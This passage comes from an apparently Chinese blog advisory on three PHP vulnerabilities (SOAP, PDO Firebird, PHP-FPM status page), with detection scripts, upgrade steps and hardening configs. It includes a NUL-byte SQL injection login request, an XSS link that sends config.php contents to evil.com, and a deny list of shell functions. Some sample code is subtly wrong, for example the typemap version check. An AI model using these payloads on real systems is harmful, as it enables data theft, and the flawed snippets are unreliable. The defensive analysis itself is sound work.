-- 假设用户输入(含 NUL 字节):
-- admin\0' OR '1'='1

-- PDO Firebird 转义后(错误):
-- 'admin'' OR ''1''=''1'
--  ^^^^^ 只有 NUL 前的内容被转义
--          NUL 后的 OR '1'='1 逃逸了

-- 实际传入 Firebird 的 SQL:
SELECT * FROM users WHERE username = 'admin' OR '1'='1'
-- 注入成功!所有用户被返回

3.2 攻击场景模拟

http 复制代码
POST /api/login HTTP/1.1
Host: target-app.example.com
Content-Type: application/json

{
    "username": "admin\u0000' OR '1'='1",
    "password": "anything"
}

攻击者在用户名中嵌入了 NUL 字节(\u0000),PDO Firebird 的 quote() 函数仅转义了 NUL 之前的部分,NUL 之后的 SQL 语句片段成功逃逸引号保护。

3.3 利用条件

触发 CVE-2025-14179 需要:

复制代码
条件 A: PHP 使用受影响版本
条件 B: 应用使用 PDO Firebird 驱动连接 Firebird 数据库
条件 C: 应用使用 PDO::quote() 或拼接 SQL(未使用 prepared statement)
条件 D: 攻击者能够控制拼接 SQL 的输入参数

只有 A + B + C + D → SQL 注入可利用

好消息是,如果应用使用了 prepared statement (参数化查询),即使使用受影响的 PHP 版本也不受此漏洞影响。只有依赖 PDO::quote() 手动转义后拼接 SQL 的应用才存在风险。


4. CVE-2026-6735:PHP-FPM Status 端点 XSS

4.1 漏洞根因

CVE-2026-6735 是 PHP-FPM(FastCGI Process Manager)的内置状态页面中的一个跨站脚本(XSS)漏洞。PHP-FPM 提供了一个 /status/ping 端点用于监控进程状态,这些端点在处理某些用户可控的输入参数时没有正确过滤输出。

php 复制代码
// sapi/fpm/fpm/fpm_status.c(漏洞版本逻辑简化)
// PHP-FPM 的 status 页面处理函数

static void fpm_status_emit_output(...)
{
    // 处理查询字符串参数
    char *query_string = SG(request_info).query_string;
    
    if (query_string) {
        // 解析 HTML 格式参数
        char *html_param = strstr(query_string, "html=");
        if (html_param) {
            html_param += 4;
            // 漏洞: 直接将用户输入的 html 参数值输出到页面
            // 没有进行 HTML 实体编码
            php_printf("<div class=\"custom-param\">%s</div>", html_param);
            // 可以构造: ?html=<script>alert('XSS')</script>
        }
    }
}

为什么这段代码有风险?PHP-FPM 状态页面本身是一个监控工具,设计上通常只暴露给内部网络或运维人员。但很多场景下运维人员为了方便,会将状态页面配置为可通过互联网访问,或者将其暴露在反向代理后面:

  • 直接从 Web 服务器配置中暴露了 /status 路径
  • 将状态页面放在公网负载均衡器后面
  • 内部网应用中存在 SSRF 漏洞可以访问状态页面

4.2 攻击场景模拟

攻击者构造一个包含恶意 JavaScript 的链接:

html 复制代码
<!-- 攻击者发送给运维人员的恶意链接 -->
<!-- 诱骗运维人员点击 -->
https://target-php-server.com/status?html=<script>fetch('/config.php').then(r=>r.text()).then(d=>fetch('https://evil.com/steal?d='+btoa(d)))</script>

攻击流程:
PHP-FPM Server 运维人员 攻击者 PHP-FPM Server 运维人员 攻击者 #mermaid-svg-623F5IKRRSR4tizr{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-623F5IKRRSR4tizr .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-623F5IKRRSR4tizr .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-623F5IKRRSR4tizr .error-icon{fill:#552222;}#mermaid-svg-623F5IKRRSR4tizr .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-623F5IKRRSR4tizr .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-623F5IKRRSR4tizr .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-623F5IKRRSR4tizr .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-623F5IKRRSR4tizr .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-623F5IKRRSR4tizr .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-623F5IKRRSR4tizr .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-623F5IKRRSR4tizr .marker{fill:#333333;stroke:#333333;}#mermaid-svg-623F5IKRRSR4tizr .marker.cross{stroke:#333333;}#mermaid-svg-623F5IKRRSR4tizr svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-623F5IKRRSR4tizr p{margin:0;}#mermaid-svg-623F5IKRRSR4tizr .actor{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-623F5IKRRSR4tizr text.actor>tspan{fill:black;stroke:none;}#mermaid-svg-623F5IKRRSR4tizr .actor-line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-623F5IKRRSR4tizr .innerArc{stroke-width:1.5;stroke-dasharray:none;}#mermaid-svg-623F5IKRRSR4tizr .messageLine0{stroke-width:1.5;stroke-dasharray:none;stroke:#333;}#mermaid-svg-623F5IKRRSR4tizr .messageLine1{stroke-width:1.5;stroke-dasharray:2,2;stroke:#333;}#mermaid-svg-623F5IKRRSR4tizr #arrowhead path{fill:#333;stroke:#333;}#mermaid-svg-623F5IKRRSR4tizr .sequenceNumber{fill:white;}#mermaid-svg-623F5IKRRSR4tizr #sequencenumber{fill:#333;}#mermaid-svg-623F5IKRRSR4tizr #crosshead path{fill:#333;stroke:#333;}#mermaid-svg-623F5IKRRSR4tizr .messageText{fill:#333;stroke:none;}#mermaid-svg-623F5IKRRSR4tizr .labelBox{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-623F5IKRRSR4tizr .labelText,#mermaid-svg-623F5IKRRSR4tizr .labelText>tspan{fill:black;stroke:none;}#mermaid-svg-623F5IKRRSR4tizr .loopText,#mermaid-svg-623F5IKRRSR4tizr .loopText>tspan{fill:black;stroke:none;}#mermaid-svg-623F5IKRRSR4tizr .loopLine{stroke-width:2px;stroke-dasharray:2,2;stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-623F5IKRRSR4tizr .note{stroke:#aaaa33;fill:#fff5ad;}#mermaid-svg-623F5IKRRSR4tizr .noteText,#mermaid-svg-623F5IKRRSR4tizr .noteText>tspan{fill:black;stroke:none;}#mermaid-svg-623F5IKRRSR4tizr .activation0{fill:#f4f4f4;stroke:#666;}#mermaid-svg-623F5IKRRSR4tizr .activation1{fill:#f4f4f4;stroke:#666;}#mermaid-svg-623F5IKRRSR4tizr .activation2{fill:#f4f4f4;stroke:#666;}#mermaid-svg-623F5IKRRSR4tizr .actorPopupMenu{position:absolute;}#mermaid-svg-623F5IKRRSR4tizr .actorPopupMenuPanel{position:absolute;fill:#ECECFF;box-shadow:0px 8px 16px 0px rgba(0,0,0,0.2);filter:drop-shadow(3px 5px 2px rgb(0 0 0 / 0.4));}#mermaid-svg-623F5IKRRSR4tizr .actor-man line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-623F5IKRRSR4tizr .actor-man circle,#mermaid-svg-623F5IKRRSR4tizr line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;stroke-width:2px;}#mermaid-svg-623F5IKRRSR4tizr :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 浏览器执行恶意脚本 发送恶意链接(含XSS payload) 点击链接访问 /status?html=... 返回包含 <script> 的 HTML 页面 脚本读取敏感配置 返回配置信息 脚本将数据发送到攻击者服务器

4.3 利用条件

复制代码
条件 A: PHP 使用受影响版本
条件 B: PHP-FPM 的 pm.status_path 已启用
条件 C: 攻击者能够访问到 /status 页面
条件 D: 攻击者能诱骗运维/管理员点击链接(反射型 XSS)
      或存储恶意内容到状态日志中(存储型 XSS)

只有 A + B + C + D → XSS 可利用

5. 漏洞检测方法

5.1 一键检测脚本

以下脚本可检测当前 PHP 环境是否受三个漏洞影响:

bash 复制代码
#!/bin/bash
# PHP 高危 CVE 检测脚本
# 检测 CVE-2026-6722 / CVE-2025-14179 / CVE-2026-6735

echo "============================================"
echo "  PHP 高危 CVE 检测工具"
echo "  检测: CVE-2026-6722 / CVE-2025-14179 / CVE-2026-6735"
echo "============================================"
echo ""

# Step 1: 检查 PHP 版本
echo "[1/5] 检查 PHP 版本..."
PHP_VERSION=$(php -r "echo PHP_VERSION;" 2>/dev/null)

if [ -z "$PHP_VERSION" ]; then
    echo "[!!] 无法获取 PHP 版本,请确认 PHP 已安装并可执行"
    exit 1
fi

echo "    PHP 版本: $PHP_VERSION"

# 解析版本号
MAJOR=$(echo "$PHP_VERSION" | cut -d. -f1)
MINOR=$(echo "$PHP_VERSION" | cut -d. -f2)
PATCH=$(echo "$PHP_VERSION" | cut -d. -f3)
PATCH=${PATCH:-0}

# 检测是否为受影响的版本
VULNERABLE=false

# 检查安全版本阈值
case "$MAJOR.$MINOR" in
    8.5)  [ "$PATCH" -lt 6 ] && VULNERABLE=true ;;
    8.4)  [ "$PATCH" -lt 21 ] && VULNERABLE=true ;;
    8.3)  [ "$PATCH" -lt 31 ] && VULNERABLE=true ;;
    8.2)  [ "$PATCH" -lt 31 ] && VULNERABLE=true ;;
    8.1)  VULNERABLE=true ;;  # 已终止支持
    8.0)  VULNERABLE=true ;;  # 已终止支持
    7.*)  VULNERABLE=true ;;  # 已终止支持
    *)    VULNERABLE=false ;;  # 未知版本
esac

if [ "$VULNERABLE" = true ]; then
    echo "    [!!] 状态: 受影响 - 需要升级到安全版本"
else
    echo "    [OK] 状态: 不受影响(版本已修复或不受支持范围)"
fi
echo ""

# Step 2: 检查 SOAP 扩展
echo "[2/5] 检查 SOAP 扩展状态..."
php -m | grep -qi soap && SOAP_ENABLED=true || SOAP_ENABLED=false

if [ "$SOAP_ENABLED" = true ]; then
    echo "    [!!] SOAP 扩展已启用 - 若版本受影响,可被 CVE-2026-6722 利用"
else
    echo "    [OK] SOAP 扩展未启用"
fi
echo ""

# Step 3: 检查 PDO Firebird 驱动
echo "[3/5] 检查 PDO Firebird 驱动..."
php -m | grep -qi pdo_firebird && FIREBIRD_ENABLED=true || FIREBIRD_ENABLED=false

if [ "$FIREBIRD_ENABLED" = true ]; then
    echo "    [!!] PDO Firebird 驱动已启用 - 若版本受影响,可被 CVE-2025-14179 利用"
else
    echo "    [OK] PDO Firebird 驱动未启用"
fi
echo ""

# Step 4: 检查 PHP-FPM 状态页面
echo "[4/5] 检查 PHP-FPM 状态页面配置..."
PHP_FPM_CONF=$(php -i 2>/dev/null | grep "php-fpm.conf" | head -1 | awk '{print $NF}')

if [ -z "$PHP_FPM_CONF" ]; then
    # 尝试常见路径
    for CONF_PATH in /etc/php/*/fpm/php-fpm.conf /etc/php-fpm.conf /usr/local/etc/php-fpm.conf; do
        [ -f "$CONF_PATH" ] && PHP_FPM_CONF="$CONF_PATH" && break
    done
fi

if [ -n "$PHP_FPM_CONF" ] && [ -f "$PHP_FPM_CONF" ]; then
    STATUS_PATH=$(grep -i "pm.status_path" "$PHP_FPM_CONF" 2>/dev/null | head -1)
    if [ -n "$STATUS_PATH" ]; then
        echo "    [!!] PHP-FPM 状态页面已配置: $STATUS_PATH"
        echo "    若对外暴露,可被 CVE-2026-6735 利用"
    else
        echo "    [OK] PHP-FPM 状态页面未配置"
    fi
else
    echo "    [*] 未找到 PHP-FPM 配置文件(可能是 CLI 模式)"
fi
echo ""

# Step 5: 风险评级
echo "[5/5] 综合风险评级..."
RISK_LEVEL="低"

if [ "$VULNERABLE" = true ]; then
    RISK_LEVEL="高"
fi

if [ "$VULNERABLE" = true ] && { [ "$SOAP_ENABLED" = true ] || [ "$FIREBIRD_ENABLED" = true ]; }; then
    RISK_LEVEL="严重"
fi

echo "    综合风险: $RISK_LEVEL"
echo ""

echo "============================================"
echo "  检测完成"
echo "============================================"
echo ""
echo "建议:"
if [ "$VULNERABLE" = true ]; then
    echo "  1. 升级 PHP 到 8.2.31 / 8.3.31 / 8.4.21 / 8.5.6 或更高版本"
    echo "  2. 检查是否存在废弃版本(8.0/8.1/7.x)并规划升级"
    echo "  3. 检查 SOAP 功能是否必要,不使用时移除扩展"
    echo "  4. 检查 PHP-FPM 状态页面是否对外暴露"
fi
exit 0

5.2 手动检测方法

检测 PHP 版本

bash 复制代码
# 为什么需要确认版本?因为修复补丁是按分支发布的
php -v | head -1

# 输出示例
# PHP 8.4.15 (cli) (built: ...) 
# 8.4.15 < 8.4.21 → 受影响,需升级

检查 SOAP 扩展是否加载

php 复制代码
<?php
// 检测 SOAP 扩展是否可用
if (extension_loaded('soap')) {
    echo "[!!] SOAP 扩展已加载 - 若版本 < 8.2.31/8.3.31/8.4.21/8.5.6";
    echo " 则存在 CVE-2026-6722 风险\n";
    
    // 进一步检测是否配置了 typemap
    $ref = new ReflectionClass('SoapServer');
    echo "SoapServer 可用: " . ($ref->isInstantiable() ? '是' : '否') . "\n";
} else {
    echo "[OK] SOAP 扩展未加载\n";
}

检测 PHP-FPM 状态页面暴露情况

bash 复制代码
# 为什么需要检测网络可达性?即使配置了状态页面
# 如果只绑定了本地地址,外部攻击者也访问不到

# 本地检测
curl -s http://localhost:8080/status 2>/dev/null | head -5

# 外部检测(从另一台机器执行)
curl -s https://production-php-server.example.com/status 2>/dev/null | head -5

# 如果返回了状态信息(含进程池、请求统计等),则暴露了状态页面

6. 修复方案详解

6.1 方案一:升级 PHP 版本(推荐)

升级到安全版本是最彻底的修复方式,一个版本升级可以修复全部三个漏洞。

准备工作

bash 复制代码
# 为什么需要先收集信息?升级 PHP 大版本可能涉及扩展兼容性问题
# 在做升级前必须清楚当前环境和配置

# 记录当前 PHP 版本和扩展列表
php -v > /tmp/php-info-before-upgrade.txt
php -m >> /tmp/php-info-before-upgrade.txt

# 记录 PHP-FPM 配置
php-fpm -tt 2>&1 | grep -i "error\|warn" > /tmp/php-fpm-config-check.txt

# 记录 php.ini 配置
php -i | grep -i "configure\|php.ini\|extension_dir" >> /tmp/php-info-before-upgrade.txt

通过系统包管理器升级(适用于从官方仓库安装的场景):

bash 复制代码
# Ubuntu / Debian 系统
# 为什么需要添加 PPA/Ondrej 仓库?Ubuntu 默认仓库中的 PHP 版本通常不是最新的安全版本

sudo add-apt-repository ppa:ondrej/php -y
sudo apt-get update

# 升级到 PHP 8.4.21
sudo apt-get install --only-upgrade php8.4 php8.4-{common,fpm,soap,cli,mysql,pgsql} -y

# 验证升级后的版本
php -v | grep "PHP 8.4"
bash 复制代码
# CentOS / RHEL / AlmaLinux 系统(使用 Remi 仓库)
sudo yum install -y https://rpms.remirepo.net/enterprise/remi-release-9.rpm
sudo yum module reset php -y
sudo yum module enable php:remi-8.4 -y

# 升级到 PHP 8.4.21
sudo yum update php* -y

# 验证升级
php -v

从源码编译升级

bash 复制代码
# 场景:自建 PHP 编译环境,需要保留自定义编译参数

# 记录当前编译参数
php -i | grep "Configure Command" | sed 's/Configure Command => //' > /tmp/php-configure-args.txt

# 下载并解压安全版本
cd /usr/local/src
wget https://www.php.net/distributions/php-8.4.21.tar.gz
tar -xzf php-8.4.21.tar.gz
cd php-8.4.21

# 使用之前的编译参数重新编译
# 注意:根据实际环境修改 --prefix 和其他路径参数
./configure --prefix=/usr/local/php-8.4.21 \
            --with-config-file-path=/usr/local/php-8.4.21/etc \
            --enable-fpm \
            --with-fpm-user=www \
            --with-fpm-group=www \
            --enable-soap \
            --with-pdo-firebird \
            --with-mysqli \
            --with-pdo-mysql \
            --with-openssl \
            --enable-mbstring \
            --with-curl \
            --with-zlib

make -j$(nproc)
sudo make install

# 复制配置文件
sudo cp php.ini-production /usr/local/php-8.4.21/etc/php.ini
sudo cp sapi/fpm/php-fpm.conf /usr/local/php-8.4.21/etc/

# 切换到新版 PHP
sudo ln -sf /usr/local/php-8.4.21/bin/php /usr/local/bin/php
sudo ln -sf /usr/local/php-8.4.21/sbin/php-fpm /usr/local/sbin/php-fpm

# 重启 PHP-FPM
sudo systemctl restart php8.4-fpm

# 验证
php -v
# 输出: PHP 8.4.21

Docker 场景升级

dockerfile 复制代码
# Dockerfile - 升级到 PHP 8.4.21
FROM php:8.4.21-fpm-alpine

# 安装 SOAP 扩展(如有需要)
RUN docker-php-ext-install soap

# 安装 Firebird PDO 驱动(如有需要)
RUN docker-php-ext-install pdo_firebird

# 验证
RUN php -v
yaml 复制代码
# docker-compose.yml - 更新服务版本
services:
  php:
    # 改前: image: php:8.4.15-fpm-alpine
    image: php:8.4.21-fpm-alpine  # 升级到安全版本
    volumes:
      - ./app:/var/www/html
    ports:
      - "9000:9000"

6.2 方案二:临时缓解措施(无法立即升级时)

如果不能立即升级,可以采取以下措施降低风险暴露面。

针对 CVE-2026-6722(SOAP UAF)

ini 复制代码
; php.ini 中禁用 SOAP 扩展
; 前提:应用不需要使用 SOAP 功能

; 修改前:
; extension=soap

; 修改后:
; extension=soap  ← 注释掉这行

; 确认禁用
; php -m | grep soap
; 不应输出任何内容

如果必须使用 SOAP,可以在应用层过滤 Apache Map 类型的数据:

php 复制代码
<?php
// 应用层缓解 CVE-2026-6722
// 在 SoapServer 处理请求前,过滤 Apache Map 类型

class SafeSoapServer extends SoapServer
{
    public function handle($request = null)
    {
        if ($request === null) {
            $request = file_get_contents('php://input');
        }
        
        // 检查请求体中是否包含 apache:Map 类型
        if (stripos($request, 'apache:map') !== false) {
            // 记录告警
            error_log("[SECURITY] CVE-2026-6722: SOAP request with apache:Map blocked");
            
            // 返回 SOAP 错误
            header('Content-Type: application/soap+xml');
            echo '<?xml version="1.0"?>';
            echo '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">';
            echo '<SOAP-ENV:Body><SOAP-ENV:Fault>';
            echo '<faultcode>SOAP-ENV:Server</faultcode>';
            echo '<faultstring>Unsupported data type: apache:Map</faultstring>';
            echo '</SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>';
            return;
        }
        
        parent::handle($request);
    }
}

针对 CVE-2025-14179(Firebird SQL 注入)

php 复制代码
<?php
// 应用层缓解 CVE-2025-14179
// 方法一:切换到 prepared statement(推荐)

// 不安全的写法(存在注入风险):
$username = $_POST['username'];
$sql = "SELECT * FROM users WHERE username = '" . 
       $pdo->quote($username) . "'";
$stmt = $pdo->query($sql);

// 安全的写法(不受 CVE-2025-14179 影响):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['username']]);
$users = $stmt->fetchAll();
php 复制代码
<?php
// 应用层缓解 CVE-2025-14179
// 方法二:过滤 NUL 字节(临时措施)

function sanitizeForFirebird($input)
{
    // 移出 NUL 字节
    $cleaned = str_replace("\0", '', $input);
    
    // 记录异常输入
    if ($cleaned !== $input) {
        error_log("[SECURITY] CVE-2025-14179: NUL byte detected in input");
    }
    
    return $cleaned;
}

// 在所有用户输入进入数据库前调用
$username = sanitizeForFirebird($_POST['username']);
$sql = "SELECT * FROM users WHERE username = '" . 
       $pdo->quote($username) . "'";

针对 CVE-2026-6735(FPM Status XSS)

nginx 复制代码
# Nginx 反向代理配置 - 阻止对 PHP-FPM 状态页面的外部访问

server {
    listen 80;
    server_name example.com;
    
    # 正常的应用代理
    location / {
        try_files $uri /index.php$is_args$args;
    }
    
    # 阻止外部访问 status 页面
    location /status {
        # 白名单:只允许内网 IP 访问
        allow 127.0.0.1;
        allow 10.0.0.0/8;
        allow 172.16.0.0/12;
        allow 192.168.0.0/16;
        deny all;
        
        # 将请求转发到 PHP-FPM 的 status 端口
        fastcgi_pass unix:/var/run/php/php8.4-fpm.sock;
        fastcgi_param SCRIPT_FILENAME /status;
        include fastcgi_params;
    }
    
    # PHP 处理
    location ~ \.php$ {
        fastcgi_pass unix:/var/run/php/php8.4-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        include fastcgi_params;
    }
}

或者在 PHP-FPM 配置中完全禁用状态页面:

ini 复制代码
; /etc/php/8.4/fpm/pool.d/www.conf

; 如果不需要状态页面,注释掉以下配置
; pm.status_path = /status
; ping.path = /ping

; 或者将 status 绑定到仅本地地址
listen = 127.0.0.1:9000
; 确保 FPM 只监听本地地址,不暴露给网络

7. 踩坑实录

踩坑 1:升级 PHP 后扩展不兼容

bash 复制代码
# 表现:升级 PHP 8.4.15 → 8.4.21 后,应用报错
# PHP Fatal error: Uncaught Error: Call to undefined function mysql_connect()

# 原因:PHP 8.x 移除了旧的 ext/mysql 扩展(非 PDO),
# 升级后之前的扩展文件路径变更,旧扩展没有随之更新

# 解决方案:确认使用的扩展在新版本中已安装
php -m | grep -i pdo  # 确认 PDO 相关驱动正常
php -m | grep -i soap  # 确认 SOAP 扩展正常

# 如果某些扩展丢失,重新安装
sudo apt-get install php8.4-soap php8.4-mysql php8.4-pgsql

# 如果使用编译安装,需要在编译时通过 --with-* 参数启用

踩坑 2:Firebird 数据库连接池中的持久连接

php 复制代码
<?php
// 表现:升级 PHP 后,已建立的 Firebird 持久连接仍在旧版本进程中
// 新请求可能被分配到已修复的新 worker,也可能被分配到旧 worker

// 原因:PHP-FPM 使用进程池管理 worker 进程
// 滚动重启时,新旧进程共存导致部分请求仍运行在有漏洞的版本

// 解决方案:确保完全重启所有 PHP-FPM 进程
// 不安全的重启(旧进程可能存活)
sudo systemctl reload php8.4-fpm
# 或 sudo kill -USR2 $(cat /run/php/php8.4-fpm.pid)

// 安全的完全重启
sudo systemctl stop php8.4-fpm
sleep 2  # 等待所有子进程退出
ps aux | grep php-fpm  # 确认没有残留的 php-fpm 进程
sudo systemctl start php8.4-fpm

踩坑 3:SOAP 客户端与服务端版本不一致

xml 复制代码
<!-- 表现:服务端升级 PHP 后,SOAP 客户端报错 -->
<!-- SoapFault: looks like we got no XML document -->

<!-- 原因:某些旧版 SOAP 客户端的 XML 解析器不兼容新版本 -->
<!-- 的 SOAP 序列化格式,特别是 Apache Map 类型的处理方式 -->

<!-- 解决方案:同步升级客户端和服务端 PHP 版本 -->
<!-- 或者在服务端 SOAP 配置中添加兼容性选项 -->
php 复制代码
<?php
// 服务端:添加 SOAP 兼容性配置
$options = [
    'uri' => 'http://example.com/soap',
    'soap_version' => SOAP_1_2,
    'encoding' => 'UTF-8',
    // 不配置 typemap------这是 CVE-2026-6722 的触发条件之一
];

// 如果不确定是否需要 typemap,尝试移除该配置
// 之前可能有的配置:
// 'typemap' => [...],

踩坑 4:Kubernetes 环境中的滚动更新

yaml 复制代码
# 表现:K8s 滚动更新后,部分 Pod 仍然使用旧版本 PHP
# kubectl get pods 显示全部已更新,但应用仍报漏洞版本错误

# 原因:使用了非标准的 PHP 镜像,更新 image tag 后
# deployment 中的 imagePullPolicy 是 IfNotPresent
# 导致某些 node 上的 kubelet 使用了缓存的旧镜像

# 解决方案:显式设置 imagePullPolicy: Always
apiVersion: apps/v1
kind: Deployment
spec:
  template:
    spec:
      containers:
      - name: php
        image: php:8.4.21-fpm-alpine  # 升级到安全版本
        imagePullPolicy: Always  # 确保拉取最新镜像
        # 或者更新 tag 到新的唯一标识

8. 长期加固建议

8.1 PHP 版本自动更新策略

bash 复制代码
# 对于使用系统包管理器管理的 PHP,配置安全更新自动安装
# /etc/apt/apt.conf.d/50unattended-upgrades

Unattended-Upgrade::Allowed-Origins {
    "${distro_id}:${distro_codename}-security";
    // 如果使用 Ondrej PPA
    "LP-PPA-ondrej-php:${distro_codename}";
};

Unattended-Upgrade::Package-Blacklist {
    // 不要自动更新 PHP 大版本(如 8.3 → 8.4)
    // 只允许安全补丁更新(如 8.4.15 → 8.4.21)
    "php8.5-";
};

8.2 PHP 安全基线配置

ini 复制代码
; /etc/php/8.4/fpm/php.ini - 安全加固配置

; 禁用不需要的扩展
; extension=soap  ; 如果不用 SOAP,注释掉
; extension=pdo_firebird  ; 如果不用 Firebird

; 设置错误报告级别(生产环境)
error_reporting = E_ALL & ~E_DEPRECATED & ~E_STRICT
display_errors = Off
log_errors = On
error_log = /var/log/php-fpm/error.log

; 禁用危险函数
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

; 限制文件访问
open_basedir = /var/www/html:/tmp
ini 复制代码
; /etc/php/8.4/fpm/pool.d/www.conf - FPM 安全配置

; 确保只监听本地地址
listen = 127.0.0.1:9000

; 如果不使用状态页面,注释掉
; pm.status_path = /status
; ping.path = /ping

; 设置进程运行用户(最小权限原则)
user = www-data
group = www-data

; 限制同时打开的请求数
pm.max_children = 50

8.3 SOAP 使用规范

php 复制代码
<?php
// SOAP 安全使用最佳实践

class SecureSoapHandler
{
    private $client;
    private $useTypemap;
    
    public function __construct(string $wsdl, bool $useTypemap = false)
    {
        $this->useTypemap = $useTypemap;
        
        $options = [
            'trace' => true,
            'exceptions' => true,
            'cache_wsdl' => WSDL_CACHE_NONE,  // 开发环境
            'features' => SOAP_SINGLE_ELEMENT_ARRAYS,
        ];
        
        // 只在明确需要时才启用 typemap
        if ($useTypemap) {
            $this->validateTypemapUsage();
            $options['typemap'] = $this->getRequiredTypemap();
        }
        
        $this->client = new SoapClient($wsdl, $options);
    }
    
    private function validateTypemapUsage()
    {
        // 检查 PHP 版本是否已修复 CVE-2026-6722
        if (version_compare(PHP_VERSION, '8.4.21', '<') &&
            version_compare(PHP_VERSION, '8.3.31', '<') &&
            version_compare(PHP_VERSION, '8.2.31', '<')) {
            error_log("[SECURITY] CVE-2026-6722: typemap used with unpatched PHP");
            throw new RuntimeException(
                'Using SOAP typemap requires PHP 8.4.21+ / 8.3.31+ / 8.2.31+'
            );
        }
    }
}

8.4 自动化监控

bash 复制代码
#!/bin/bash
# /etc/cron.daily/php-security-check
# 每日检查 PHP 版本是否安全

PHP_VERSION=$(php -r "echo PHP_VERSION;")
PHP_MAJOR=$(echo "$PHP_VERSION" | cut -d. -f1)
PHP_MINOR=$(echo "$PHP_VERSION" | cut -d. -f2)
PHP_PATCH=$(echo "$PHP_VERSION" | cut -d. -f3)

SAFE_VERSIONS=(
    "8.5.6"
    "8.4.21"
    "8.3.31"
    "8.2.31"
)

IS_SAFE=false
for SAFE in "${SAFE_VERSIONS[@]}"; do
    SAFE_MAJOR=$(echo "$SAFE" | cut -d. -f1)
    SAFE_MINOR=$(echo "$SAFE" | cut -d. -f2)
    SAFE_PATCH=$(echo "$SAFE" | cut -d. -f3)
    
    if [ "$PHP_MAJOR" -eq "$SAFE_MAJOR" ] && \
       [ "$PHP_MINOR" -eq "$SAFE_MINOR" ] && \
       [ "$PHP_PATCH" -ge "$SAFE_PATCH" ]; then
        IS_SAFE=true
        break
    fi
done

if [ "$IS_SAFE" = false ]; then
    SUBJECT="[ALERT] PHP 版本不安全: $PHP_VERSION"
    MESSAGE="服务器 $(hostname) 的 PHP 版本 $PHP_VERSION 存在已知安全漏洞。"
    MESSAGE+="建议升级到 8.2.31 / 8.3.31 / 8.4.21 / 8.5.6 或更高版本。"
    
    # 发送告警(示例:写入日志 + 邮件)
    logger -p user.warning "PHP SECURITY: $MESSAGE"
    echo "$MESSAGE" | mail -s "$SUBJECT" admin@example.com
fi

9. 总结与行动清单

2026 年 5 月发布的 PHP 安全版本修复了三个高危漏洞,其中 CVE-2026-6722(CVSS 9.5)为 SOAP 扩展中的 Use-After-Free 漏洞,可导致远程代码执行,是本次修复中最严重的漏洞。CVE-2025-14179(CVSS 7.4)影响 PDO Firebird 驱动的转义逻辑,CVE-2026-6735(CVSS 7.3)影响 PHP-FPM 状态页面的输出过滤。

核心教训:及时跟进 PHP 版本更新是防范安全风险的最有效手段。PHP 安全团队在每个小版本中都会修复已发现的安全漏洞,升级不应等到"有空再弄"。在生产环境中,建议将 PHP 版本更新纳入月度常规维护计划。

优先级行动清单

优先级 行动项 负责人 预计耗时
P0 检测当前 PHP 版本是否受影响 运维 15 分钟
P0 升级 PHP 到 8.2.31 / 8.3.31 / 8.4.21 / 8.5.6 运维 1-2 小时
P0 完全重启 PHP-FPM 确保所有 worker 使用新版本 运维 10 分钟
P1 检查 SOAP 扩展必要性,不使用时移除 开发 30 分钟
P1 检查 Firebird 数据库连接是否使用 prepared statement 开发 1 小时
P1 检查 PHP-FPM 状态页面是否对外暴露 安全 30 分钟
P2 添加 PHP 版本自动监控告警 运维 1 小时
P2 审查 PHP 扩展列表,移除不需要的扩展 开发 2 小时
P2 建立 PHP 版本月度更新机制 运维 2 小时

参考资料

如果本文对你有帮助,欢迎点赞、收藏、转发!你的支持是我持续输出安全内容的最大动力!

你的 PHP 是什么版本?有没有遇到过 SOAP 相关的安全问题?欢迎评论区留言交流!

关注我,获取第一手高危 CVE 漏洞分析和实战修复指南!

行文仓促,定有不足之处,欢迎朋友们在评论区批评指正!